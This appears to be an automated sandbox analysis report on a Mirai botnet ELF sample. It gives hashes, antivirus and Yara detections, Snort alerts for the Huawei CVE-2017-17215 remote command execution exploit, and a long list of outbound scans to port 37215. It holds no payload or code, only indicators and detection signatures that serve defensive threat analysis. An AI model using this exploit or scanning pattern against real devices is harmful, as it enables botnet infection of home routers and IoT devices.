Linux Analysis Report
vvV3pyLNs0.elf

Overview

General Information

Sample Name: vvV3pyLNs0.elf
Original Sample Name: df3ad12d3f93bd41300cb8442d9c12b8.elf
Analysis ID: 1351993
MD5: df3ad12d3f93bd41300cb8442d9c12b8
SHA1: 49d839f04da961b7017a0e73ab0d05352b80e8c0
SHA256: c3269fb97b86abdf706cecac70e490b1efecda9d237fbbdee567194cc1c5959c
Tags: 32elfmiraimotorola
Infos:

Detection

Mirai
Score: 100
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Snort IDS alert for network traffic
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Sample tries to kill multiple processes (SIGKILL)
Reads CPU information from /sys indicative of miner or evasive malware
Yara signature match
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample has stripped symbol table
HTTP GET or POST without a user agent
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: vvV3pyLNs0.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: vvV3pyLNs0.elf ReversingLabs: Detection: 54%
Source: vvV3pyLNs0.elf Virustotal: Detection: 54% Perma Link
Reads CPU information from /sys indicative of miner or evasive malware
Source: /tmp/vvV3pyLNs0.elf (PID: 6259) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/thread_siblings_list Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6259) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/thread_siblings_list Jump to behavior

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34056 -> 156.254.97.12:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34056 -> 156.254.97.12:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35664 -> 156.241.122.140:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35664 -> 156.241.122.140:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52084 -> 156.241.65.222:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52084 -> 156.241.65.222:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37522 -> 156.241.81.206:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37522 -> 156.241.81.206:37215
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 156.241.81.206 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 156.73.182.86 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 156.254.97.12 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 197.128.202.9 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 156.241.122.140 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 156.73.203.47 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 156.241.65.222 ports 1,2,3,5,7,37215
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 52084 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.157.10.161:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.33.249.205:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.239.174.163:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.80.167.199:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.11.56.161:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.62.136.183:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.162.246.129:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.208.157.91:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.109.144.69:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.212.198.223:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.18.42.208:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.108.239.6:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.215.27.190:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.16.238.148:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.208.189.126:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.232.147.243:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.19.217.18:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.209.213.189:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.209.144.53:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.80.221.27:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.15.125.153:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.7.69.160:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.106.167.104:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.158.97.246:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.49.205.4:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.49.119.12:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.7.23.73:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.166.17.88:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.222.104.25:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.58.29.205:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.10.103.186:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.77.179.112:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.238.58.98:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.111.16.213:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.54.26.179:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.211.16.66:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.95.31.78:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.86.164.189:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.87.94.1:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.44.33.226:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.180.189.142:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.33.92.106:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.119.96.41:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.2.130.40:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.181.13.90:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.172.19.205:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.5.97.211:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.238.141.152:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.101.234.246:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.94.227.5:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.29.70.90:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.247.162.223:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.122.163.84:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.237.56.3:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.190.45.202:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.29.68.112:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.124.110.194:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.136.91.199:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.9.79.234:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.54.185.140:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.251.242.113:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.2.115.178:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.56.253.9:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.49.47.214:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.98.114.243:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.115.152.177:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.102.16.182:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.49.98.51:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.27.230.171:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.121.47.107:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.63.134.141:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.131.155.160:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.129.195.143:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.9.222.203:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.17.0.204:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.66.8.110:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.200.32.183:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.55.213.207:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.107.200.241:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.221.78.175:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.198.25.131:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.75.92.248:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.229.247.255:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.254.213.246:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.114.53.207:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.230.94.134:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.17.253.237:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.28.153.205:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.60.215.170:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.69.75.160:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.172.81.50:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.58.111.34:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.51.83.162:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.222.149.251:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.228.38.9:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.73.203.47:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.136.0.109:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.240.48.130:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.73.182.86:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.45.233.39:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.180.254.181:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.72.110.35:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.232.109.25:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.68.189.32:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.158.227.163:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.194.253.125:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.167.128.244:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.26.110.171:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.209.29.207:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.36.39.83:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.55.153.34:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.186.123.158:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.81.208.86:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.113.206.228:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.174.251.200:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.178.68.227:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.131.98.213:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.62.199.105:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.21.29.33:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.79.16.48:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.140.65.79:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.46.46.146:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.214.184.145:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.1.115.26:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.129.160.132:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.85.96.24:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.130.80.129:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.11.47.85:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.46.2.234:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.122.53.189:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.157.187.70:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.160.66.77:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.164.222.243:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.197.233.191:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.24.108.193:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.190.254.254:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.231.161.34:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.126.127.3:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.186.215.69:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.168.131.213:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.138.103.193:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.36.4.115:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.166.153.224:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.84.28.49:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.169.252.172:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.186.241.201:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.33.131.78:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.249.255.180:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.49.176.225:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.146.115.233:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.191.218.134:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.85.57.74:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.140.201.15:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.63.232.84:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.254.179.238:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.156.55.44:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.204.25.168:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.210.64.241:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.25.9.177:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.120.83.197:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.242.104.146:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.34.101.17:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.237.1.121:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.189.149.1:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.254.142.88:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.158.185.223:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.53.15.127:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.44.170.232:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.208.201.78:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.193.11.204:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.136.74.93:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.186.158.157:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.2.93.18:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.153.91.253:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.42.26.41:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.245.45.153:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.95.147.84:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.71.120.39:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.78.15.213:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.224.200.167:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.175.79.2:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.24.41.112:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.209.28.178:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.120.242.17:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.61.31.221:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.195.83.29:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.37.105.43:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.193.100.168:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.110.216.91:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.66.239.10:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.148.210.163:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.148.169.106:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.214.12.104:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.114.97.120:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.102.216.87:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.25.50.164:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.204.129.24:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.245.75.244:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.181.158.109:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.41.118.53:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.77.209.73:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.102.103.201:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.133.186.112:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.103.68.148:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.152.196.40:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.115.230.207:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.233.138.71:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.145.14.6:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.153.140.79:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.37.189.73:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.11.16.179:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.21.223.223:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.85.209.163:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.207.87.133:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.112.84.164:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.174.13.71:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.3.2.230:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.47.63.120:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.184.62.236:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.39.254.7:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.161.139.195:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.235.214.160:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.68.179.136:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.24.28.188:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.55.41.121:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.168.107.25:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.139.115.11:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.223.215.67:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.125.220.203:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.211.118.188:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.98.122.134:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.175.17.168:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.111.55.118:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.78.127.38:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.234.162.97:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.189.227.124:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.109.44.149:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.95.200.132:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.60.252.10:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.81.168.115:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.220.233.138:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.151.16.164:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.226.85.210:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.4.225.120:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.235.190.253:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.37.179.152:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.144.204.35:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.2.195.217:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.218.238.41:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.27.20.14:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.192.67.174:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.142.187.83:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.189.100.99:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.175.64.165:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.85.165.49:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.208.246.36:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.28.27.247:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.38.231.181:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.220.36.48:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.93.6.186:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.148.123.232:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.175.204.17:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.58.224.177:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.185.184.19:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.103.160.125:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.47.238.56:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.178.134.21:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.152.39.125:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.176.80.160:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.140.127.35:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.202.194.139:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.119.54.72:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.209.209.164:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.76.233.35:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.80.156.111:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.7.231.145:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.161.225.22:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.22.252.94:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.241.147.122:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.242.77.69:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.28.82.213:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.171.103.218:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.245.172.201:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.68.218.8:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.89.168.9:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.191.96.218:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.8.73.206:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.41.13.250:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.146.9.206:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.142.89.157:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.24.71.155:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.112.215.102:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.177.139.236:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.170.236.96:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.223.248.249:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.9.120.110:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.52.51.96:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.205.25.180:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.70.198.67:37215
